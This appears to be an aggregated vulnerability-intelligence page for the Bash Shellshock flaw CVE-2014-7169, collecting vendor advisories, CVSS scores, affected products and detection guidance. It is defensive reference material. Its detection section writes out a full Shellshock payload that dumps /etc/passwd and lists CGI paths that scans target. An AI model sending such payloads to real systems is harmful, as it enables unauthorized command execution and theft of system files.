CVE-2014-7169
published 2014-09-25CVE-2014-7169: GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows…
PriorityP194critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
KEVITWEXPLOITInitial access
CISA Known Exploited Vulnerabilitydue 2022-07-28
Exploited in the wild
EPSS
99.94%
100.0th percentile
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.
Affected
288 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apple | mac_os_x | >= 10.0.0 < 10.10.0 | 10.10.0 |
| arista | eos | >= 4.10.0 < 4.10.9 | 4.10.9 |
| arista | eos | >= 4.11.0 < 4.11.11 | 4.11.11 |
| arista | eos | >= 4.12.0 < 4.12.9 | 4.12.9 |
| arista | eos | >= 4.13.0 < 4.13.9 | 4.13.9 |
| arista | eos | >= 4.14.0 < 4.14.4f | 4.14.4f |
| arista | eos | >= 4.9.0 < 4.9.12 | 4.9.12 |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| canonical | ubuntu_linux | — | — |
| checkpoint | security_gateway | < r77.30 | r77.30 |
| citrix | citrix_adm | — | — |
| citrix | citrix_hypervisor | — | — |
| citrix | citrix_netscaler_adc | — | — |
| citrix | citrix_netscaler_sdx | — | — |
| citrix | citrix_virtual_apps_and_desktops | — | — |
| citrix | citrix_xenapp | — | — |
| citrix | citrix_xendesktop | — | — |
| citrix | citrix_xenmobile | — | — |
| citrix | citrix_xenserver | — | — |
| citrix | endpoint_management | — | — |
| citrix | netscaler_adc | — | — |
| citrix | netscaler_gateway | — | — |
| citrix | netscaler_sdx | — | — |
| citrix | netscaler_sdx_firmware | < 9.3.67.5r1 | 9.3.67.5r1 |
Detection & IOCsextracted from sources · hover to see the quote
command() { ignored; }; echo Content-Type: text/html; echo ; /bin/cat /etc/passwd
path/cgi-bin/status
path/cgi-bin/stats
path/cgi-bin/test
path/cgi-bin/status/status.cgi
path/test.cgi
path/debug.cgi
path/cgi-bin/test-cgi
path/cgi-bin/test.cgi
snort↗
SIDs 31975-31978 & SID 31985
- →Detect Shellshock exploitation attempts by inspecting HTTP headers (User-Agent, Referer, Cookie, custom headers) for the pattern '() {' followed by command injection strings. The nuclei template uses a custom 'Shellshock' header and matches response body for 'root:.*:0:0:' (passwd file content).
- →Snort SIDs 31975-31978 and 31985 cover detection for both CVE-2014-6271 and CVE-2014-7169 exploitation conditions. ↗
- →ClamAV signature 'Linux.Flooder.Agent' detects ELF binaries dropped via wget in observed Shellshock exploitation campaigns. ↗
- →The vulnerability trigger is an environment variable whose value starts with the 4-byte string '() {'. Monitor process environments and CGI inputs for this pattern. ↗
- →DHCP exploitation vector: monitor DHCP option fields (e.g., dump_path / option 114) for Shellshock payloads starting with '() {'. The PoC exploit injects the payload via DHCP offer/ack packets on UDP ports 67/68. ↗
- →Probe CGI paths commonly targeted in Shellshock scans: /cgi-bin/status, /cgi-bin/stats, /cgi-bin/test, /cgi-bin/status/status.cgi, /test.cgi, /debug.cgi, /cgi-bin/test-cgi, /cgi-bin/test.cgi.
- ·The initial patch for CVE-2014-6271 does not fully remediate the vulnerability; CVE-2014-7169 represents the incomplete fix. Systems must apply updated patches specifically addressing CVE-2014-7169. ↗
- ·The Tenable Appliance is vulnerable via its DHCP client and the unauthenticated simpleupload.html page (present from version 2.6.2 onward). ↗
- ·Industrial control systems running embedded Linux may not be field-upgradeable and require alternate mitigations. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
osv9.8CRITICAL
vulncheck9.8CRITICAL
cisa9.8CRITICAL
vendor_debian9.8CRITICAL
vendor_redhat9.8CRITICAL
vendor_ubuntu9.8CRITICAL
vendor_cisco7.5HIGH
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
CISA
GNU Bash OS Command Injection Vulnerability
cisa·2025-10-02·CVSS 8.8
CVE-2014-6278 [HIGH] CWE-78 GNU Bash OS Command Injection Vulnerability
Vulnerability: GNU Bash OS Command Injection Vulnerability
Affected: GNU GNU Bash
GNU Bash contains an OS command injection vulnerability which allows remote attackers to execute arbitrary commands via a crafted environment.
Required Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Notes: This vulnerability could affect an open-source component, third-party library, protocol, or proprietary implementation that could be used by different products. For more information, please see: http://ftp.gnu.org/gnu/bash/bash-4.3-patches/bash43-027 ; https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/23467 ; https://sec.clo
CISA
GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
cisa·2022-01-28·CVSS 9.8
CVE-2014-7169 [CRITICAL] CWE-78 GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
Vulnerability: GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
Affected: GNU Bourne-Again Shell (Bash)
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute code. This CVE correctly remediates the vulnerability in CVE-2014-6271.
Required Action: Apply updates per vendor instructions.
Notes: https://nvd.nist.gov/vuln/detail/CVE-2014-7169
Remediation Due Date: 2022-07-28
VMware
VMware product updates address critical Bash security vulnerabilities
vendor_vmware·2014-09-30·CVSS 9.8
CVE-2014-6271 [CRITICAL] VMware product updates address critical Bash security vulnerabilities
VMSA-2014-0010: VMware product updates address critical Bash security vulnerabilities
a. Bash update for multiple products. Bash libraries have been updated in multiple products to resolve multiple critical security issues, also referred to as Shellshock. The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the identifiers CVE-2014-6271, CVE-2014-7169, CVE-2014-7186, and CVE-2014-7187, CVE-2014-6277, CVE-2014-6278 to these issues. VMware products have been grouped into the following four product categories: I) ESXi and ESX Hypervisor ESXi is not affected because ESXi uses the Ash shell (through busybox), which is not affected by the vulnerability reported for the Bash shell. ESX has an affected version of the Bash shell. See table 1 for remediation for ESX. II) Wi
Red Hat
bash: incorrect parsing of function definitions with nested command substitutions
vendor_redhat·2014-09-29·CVSS 9.8
CVE-2014-6278 [CRITICAL] CWE-119 bash: incorrect parsing of function definitions with nested command substitutions
bash: incorrect parsing of function definitions with nested command substitutions
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
Statement: Red Hat no longer considers this bug to be a security issue. The change introduced in bash e
Red Hat
bash: uninitialized here document closing delimiter pointer use
vendor_redhat·2014-09-27·CVSS 9.8
CVE-2014-6277 [CRITICAL] CWE-78 bash: uninitialized here document closing delimiter pointer use
bash: uninitialized here document closing delimiter pointer use
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
Statement: Red Hat no longer cons
CISA ICS
Bash Command Injection Vulnerability (Update A)
cisa_ics·2014-09-26·CVSS 9.8
[CRITICAL] Bash Command Injection Vulnerability (Update A)
## Archived Content In an effort to keep CISA.gov current, the archive contains outdated information that may not reflect current policy or programs.
ICS Advisory
##
Bash Command Injection Vulnerability (Update A)
Last RevisedSeptember 06, 2018
Alert CodeICSA-14-269-01A
## OVERVIEW
This updated advisory is a follow-up to the original advisory titled ICSA-14-269-01 Bash Command Injection Vulnerability that was published September 26, 2014, on the NCCIC/ICS‑CERT web site.
A command injection vulnerability has been reported in the Bourne again shell (bash). Bash is the common command-line used in most Linux/Unix-based operating systems and Apple’s Mac OS X. The flaw could allow an attacker to remotely execute shell commands by attaching malici
Ubuntu
Bash vulnerability
vendor_ubuntu·2014-09-26·CVSS 9.8
CVE-2014-7169 [CRITICAL] Bash vulnerability
Title: Bash vulnerability
Summary: Bash allowed bypassing environment restrictions in certain environments.
USN-2363-1 fixed a vulnerability in Bash. Due to a build issue, the patch
for CVE-2014-7169 didn't get properly applied in the Ubuntu 14.04 LTS
package. This update fixes the problem.
We apologize for the inconvenience.
Original advisory details:
Tavis Ormandy discovered that the security fix for Bash included in
USN-2362-1 was incomplete. An attacker could use this issue to bypass
certain environment restrictions. (CVE-2014-7169)
Instructions: In general, a standard system update will make all the necessary changes.
Cisco
GNU Bash Environment Variable Command Injection Vulnerability
vendor_cisco·2014-09-26·CVSS 7.5
CVE-2014-6271 [HIGH] GNU Bash Environment Variable Command Injection Vulnerability
GNU Bash Environment Variable Command Injection Vulnerability
On September 24, 2014, a vulnerability in the Bash shell was publicly announced. The vulnerability is related to the way in which shell functions are passed though environment variables. The vulnerability may allow an attacker to inject commands into a Bash shell, depending on how the shell is invoked. The Bash shell may be invoked by a number of processes including, but not limited to, telnet, SSH, DHCP, and scripts hosted on web servers.
All versions of GNU Bash starting with version 1.14 are affected by this vulnerability and the specific impact is determined by the characteristics of the process using the Bash shell. In the worst case, an unauthenticated remote attacker would be able to execute commands on an affected serve
Ubuntu
Bash vulnerability
vendor_ubuntu·2014-09-25·CVSS 9.8
CVE-2014-7169 [CRITICAL] Bash vulnerability
Title: Bash vulnerability
Summary: Bash allowed bypassing environment restrictions in certain environments.
Tavis Ormandy discovered that the security fix for Bash included in
USN-2362-1 was incomplete. An attacker could use this issue to bypass
certain environment restrictions. (CVE-2014-7169)
Instructions: In general, a standard system update will make all the necessary changes.
Palo Alto
PAN-SA-2014-0004 Bash Shell remote code execution (CVE-2014-6271, CVE-2014-7169)
vendor_paloalto·2014-09-24·CVSS 9.8
CVE-2014-7169 [CRITICAL] CWE-78 PAN-SA-2014-0004 Bash Shell remote code execution (CVE-2014-6271, CVE-2014-7169)
PAN-SA-2014-0004 Bash Shell remote code execution (CVE-2014-6271, CVE-2014-7169)
Palo Alto Networks has become aware of a remote code execution vulnerability in the Bash shell utility. This vulnerability (CVE-2014-6271) allows for remote code execution through multiple vectors due to the way Bash is often used on linux systems for processing commands. Additional information can be found here: http://seclists.org/oss-sec/2014/q3/650 Successful attack requires that a user be able to add environmental variables to the bash environment. This is possible only for PAN-OS users that successfully authenticate to PAN-OS via SSH.
CVEs: CVE-2014-6271, CVE-2014-7169
Affected products: PAN-OS, Panorama
Palo Alto
PAN-SA-2014-0004 Bash Shell remote code execution (CVE-2014-6271, CVE-2014-7169)
vendor_paloalto·2014-09-24·CVSS 9.8
CVE-2014-6271 [CRITICAL] CWE-78 PAN-SA-2014-0004 Bash Shell remote code execution (CVE-2014-6271, CVE-2014-7169)
PAN-SA-2014-0004 Bash Shell remote code execution (CVE-2014-6271, CVE-2014-7169)
Palo Alto Networks has become aware of a remote code execution vulnerability in the Bash shell utility. This vulnerability (CVE-2014-6271) allows for remote code execution through multiple vectors due to the way Bash is often used on linux systems for processing commands. Additional information can be found here: http://seclists.org/oss-sec/2014/q3/650 Successful attack requires that a user be able to add environmental variables to the bash environment. This is possible only for PAN-OS users that successfully authenticate to PAN-OS via SSH.
CVEs: CVE-2014-6271, CVE-2014-7169
Affected products: PAN-OS, Panorama
Red Hat
bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
vendor_redhat·2014-09-24·CVSS 9.8
CVE-2014-7169 [CRITICAL] CWE-228 bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
bash: code execution via specially-crafted environment (Incomplete fix for CVE-2014-6271)
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.
It was found that the fix for CVE-2014-6271 was incomplete, and Bash still a
Red Hat
bash: specially-crafted environment variables can be used to inject shell commands
vendor_redhat·2014-09-24·CVSS 9.8
CVE-2014-6271 [CRITICAL] CWE-78 bash: specially-crafted environment variables can be used to inject shell commands
bash: specially-crafted environment variables can be used to inject shell commands
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
A flaw was found in the way Bash evaluated ce
Debian
CVE-2014-6278: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
vendor_debian·2014·CVSS 9.8
CVE-2014-6278 [CRITICAL] CVE-2014-6278: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
Scope: local
bookworm: resolved (fixed in 4.3-9.2)
bullseye: resolved (fixed in 4.3-9.2)
forky: resolved (fixed in 4.3-9.2)
sid: resolved (fixed in 4.3-9.2)
trixie: resolved (fixed in 4.3
Debian
CVE-2014-6271: bash - GNU Bash through 4.3 processes trailing strings after function definitions in th...
vendor_debian·2014·CVSS 9.8
CVE-2014-6271 [CRITICAL] CVE-2014-6271: bash - GNU Bash through 4.3 processes trailing strings after function definitions in th...
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
Scope: local
bookworm: resolved (fixed in 4.3-9.1)
bullseye: resolved (fixed in 4.3-9.1)
forky: resolved (fixed in 4.3-9.1)
sid: r
Debian
CVE-2014-6277: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
vendor_debian·2014·CVSS 9.8
CVE-2014-6277 [CRITICAL] CVE-2014-6277: bash - GNU Bash through 4.3 bash43-026 does not properly parse function definitions in ...
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
Scope: local
bookworm: resolved (fixed in 4.3-9.2)
bullseye: resolved (fixed in 4.3-9.2)
forky: res
Debian
CVE-2014-7169: bash - GNU Bash through 4.3 bash43-025 processes trailing strings after certain malform...
vendor_debian·2014·CVSS 9.8
CVE-2014-7169 [CRITICAL] CVE-2014-7169: bash - GNU Bash through 4.3 bash43-025 processes trailing strings after certain malform...
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.
Scope: local
bookworm: resolved (fixed in 4.3-9.2)
bullseye: resolved (fixed in 4.3-9.2)
forky: resolved (fixed in 4.3-9.2)
sid: resolved (fixed in 4.3-9.2)
trixie: res
Citrix
Citrix Security Bulletin CTX200223
vendor_citrix·CVSS 9.8
CVE-2014-6271 [CRITICAL] Citrix Security Bulletin CTX200223
Citrix Security Bulletin CTX200223
CVE References: CVE-2014-6271, CVE-2014-7169, CVE-2025-12101, CVE-2025-62626, CVE-2026-23554, CVE-2026-3055, CVE-2026-4368, CVE-2026-4397
Affected Products: Citrix ADM, Citrix Hypervisor, Citrix Virtual Apps and Desktops, Endpoint Management, NetScaler ADC, NetScaler Gateway, XenServer
Citrix
Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
vendor_citrix·CVSS 9.8
CVE-2014-6271 [CRITICAL] Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
Citrix Security Advisory for GNU Bash Shellshock Vulnerabilities
of Problem Citrix is aware of recent vulnerability reports that impact GNU Bash and is actively investigating the potential impact of these issues on Citrix products. There are a number of CVEs related to this issue, the current set includes: CVE-2014-6271 CVE-2014-6277 CVE-2014-6278 CVE-2014-7169 CVE-2014-7186 CVE-2014-7187 The following sections provide some initial guidance to customers on the potential impact of this issue. Please note that this issue is under active analysis and, as such, customers should check back frequently to get the current status of our response. Citrix XenApp & XenDesktop Most XenApp and XenDesktop components are Windows-based and, as such, are not affected by this vulnerability. Citrix recommend
Cisco
GNU Bash Environment Variable Command Injection Vulnerability
vendor_cisco
CVE-2014-7169 GNU Bash Environment Variable Command Injection Vulnerability
CVE-2014-7169: GNU Bash Environment Variable Command Injection Vulnerability
On September 24, 2014, a vulnerability in the Bash shell was publicly announced. The vulnerability is related to the way in which shell functions are passed though environment variables. The vulnerability may allow an attacker to inject commands into a Bash shell, depending on how the shell is invoked. The Bash shell may be invoked by a number of processes including, but not limited to, telnet, SSH, DHCP, and scripts hosted on web servers. All versions of GNU Bash starting with version 1.14 are affected by this vulnerability and the specific impact is determined by the characteristics of the process using the Bash shell. In the worst case, an unauthenticated remote attacker would be able to execute commands on an
GHSA
GHSA-55cc-h8m2-x3mp: GNU Bash through 4
ghsa_unreviewed·2022-05-14·CVSS 9.8
CVE-2014-6277 [CRITICAL] CWE-78 GHSA-55cc-h8m2-x3mp: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
GHSA
GHSA-6hfc-grwp-2p9c: GNU Bash through 4
ghsa_unreviewed·2022-05-13·CVSS 9.8
CVE-2014-6271 [CRITICAL] CWE-78 GHSA-6hfc-grwp-2p9c: GNU Bash through 4
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
GHSA
GHSA-f7j6-xrjp-vffg: GNU Bash through 4
ghsa_unreviewed·2022-05-13·CVSS 9.8
CVE-2014-7169 [CRITICAL] CWE-78 GHSA-f7j6-xrjp-vffg: GNU Bash through 4
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.
GHSA
GHSA-6493-28fj-f93w: GNU Bash through 4
ghsa_unreviewed·2022-05-13·CVSS 9.8
CVE-2014-6278 [CRITICAL] CWE-78 GHSA-6493-28fj-f93w: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
OSV
CVE-2014-6278: GNU Bash through 4
osv·2014-09-30·CVSS 9.8
CVE-2014-6278 [CRITICAL] CVE-2014-6278: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary commands via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271, CVE-2014-7169, and CVE-2014-6277.
OSV
CVE-2014-6277: GNU Bash through 4
osv·2014-09-27·CVSS 9.8
CVE-2014-6277 [CRITICAL] CVE-2014-6277: GNU Bash through 4
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271 and CVE-2014-7169.
OSV
bash vulnerability
osv·2014-09-26·CVSS 9.8
CVE-2014-7169 [CRITICAL] bash vulnerability
bash vulnerability
USN-2363-1 fixed a vulnerability in Bash. Due to a build issue, the patch
for CVE-2014-7169 didn't get properly applied in the Ubuntu 14.04 LTS
package. This update fixes the problem.
We apologize for the inconvenience.
Original advisory details:
Tavis Ormandy discovered that the security fix for Bash included in
USN-2362-1 was incomplete. An attacker could use this issue to bypass
certain environment restrictions. (CVE-2014-7169)
OSV
bash vulnerability
osv·2014-09-25·CVSS 9.8
CVE-2014-7169 [CRITICAL] bash vulnerability
bash vulnerability
Tavis Ormandy discovered that the security fix for Bash included in
USN-2362-1 was incomplete. An attacker could use this issue to bypass
certain environment restrictions. (CVE-2014-7169)
OSV
CVE-2014-7169: GNU Bash through 4
osv·2014-09-25·CVSS 9.8
CVE-2014-7169 [CRITICAL] CVE-2014-7169: GNU Bash through 4
GNU Bash through 4.3 bash43-025 processes trailing strings after certain malformed function definitions in the values of environment variables, which allows remote attackers to write to files or possibly have unknown other impact via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6271.
OSV
CVE-2014-6271: GNU Bash through 4
osv·2014-09-24·CVSS 9.8
CVE-2014-6271 [CRITICAL] CVE-2014-6271: GNU Bash through 4
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution, aka "ShellShock." NOTE: the original fix for this issue was incorrect; CVE-2014-7169 has been assigned to cover the vulnerability that is still present after the incorrect fix.
VulnCheck
GNU Bourne-Again Shell (Bash) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
vulncheck·2014·CVSS 9.8
CVE-2014-6277 [CRITICAL] GNU Bourne-Again Shell (Bash) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
GNU Bourne-Again Shell (Bash) Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
GNU Bash through 4.3 bash43-026 does not properly parse function definitions in the values of environment variables, which allows remote attackers to execute arbitrary code or cause a denial of service (uninitialized memory access, and untrusted-pointer read and write operations) via a crafted environment, as demonstrated by vectors involving the ForceCommand feature in OpenSSH sshd, the mod_cgi and mod_cgid modules in the Apache HTTP Server, scripts executed by unspecified DHCP clients, and other situations in which setting the environment occurs across a privilege boundary from Bash execution. NOTE: this vulnerability exists because of an incomplete fix for CVE-2014-6
VulnCheck
GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
vulncheck·2014·CVSS 9.8
CVE-2014-7169 [CRITICAL] CWE-78 GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
GNU Bourne-Again Shell (Bash) Arbitrary Code Execution Vulnerability
GNU Bash through 4.3 processes trailing strings after function definitions in the values of environment variables, which allows remote attackers to execute code. This CVE correctly remediates the vulnerability in CVE-2014-6271.
Affected: GNU Bourne-Again Shell (Bash)
Required Action: Apply updates per vendor instructions.
Exploitation References: https://www.bitdefender.com/blog/hotforsecurity/shellshock-bug-exploited-in-the-wild-now-patched-by-apple/; https://www.virusbulletin.com/virusbulletin/2018/03/vb2017-paper-router-all-evil-more-just-default-passwords-and-silly-scripts/; https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; https://blog.talosintelligence.com/content/files/2025/03
No detection rules found.
Exploit-DB
Kemp Load Master 7.1.16 - Multiple Vulnerabilities
exploitdb·2015-04-02·CVSS 8.8
CVE-2014-7910 [HIGH] Kemp Load Master 7.1.16 - Multiple Vulnerabilities
Kemp Load Master 7.1.16 - Multiple Vulnerabilities
---
# Exploit Title: Kemp Load Master - Multiple Vulnerabilities (RCE, CSRF, XSS, DoS)
# Date: 01 April 2015
# Author: Roberto Suggi Liverani
# Software Link: http://kemptechnologies.com/load-balancer/
# Version: 7.1.16 and previous versions
# Tested on: Kemp Load Master 7.1-16
# CVE : CVE-2014-5287/5288
Link: http://blog.malerisch.net/2015/04/playing-with-kemp-load-master.html
Kemp virtual load master is a virtual load-balancer appliance which comes with a web administrative interface. I had a chance to test it and this blog post summarises some of the most interesting vulnerabilities I have discovered and which have not been published yet. For those of you who want to try it as well, you can get a free trial version here: http://kemp
Exploit-DB
QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)
exploitdb·2015-03-26
CVE-2014-7910 QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)
QNAP - Admin Shell via Bash Environment Variable Code Injection (Metasploit)
---
# Exploit Title: QNAP admin shell via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | [email protected] [work] / [email protected] [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core'
require 'net/telnet'
class Metasploit3
Exploit-DB
QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)
exploitdb·2015-03-26
CVE-2014-7910 QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)
QNAP - Web Server Remote Code Execution via Bash Environment Variable Code Injection (Metasploit)
---
# Exploit Title: QNAP Web server remote code execution via Bash Environment Variable Code Injection
# Date: 7 February 2015
# Exploit Author: Patrick Pellegrino | [email protected] [work] / [email protected] [other]
# Employer homepage: http://www.securegroup.it
# Vendor homepage: http://www.qnap.com
# Version: All Turbo NAS models except TS-100, TS-101, TS-200
# Tested on: TS-1279U-RP
# CVE : 2014-6271
# Vendor URL bulletin : http://www.qnap.com/i/it/support/con_show.php?cid=61
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/d3vpp/metasploit-modules
##
require 'msf/core
Exploit-DB
PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection
exploitdb·2014-11-03·CVSS 9.8
CVE-2014-7910 [CRITICAL] PHP < 5.6.2 - 'Shellshock' Safe Mode / disable_functions Bypass / Command Injection
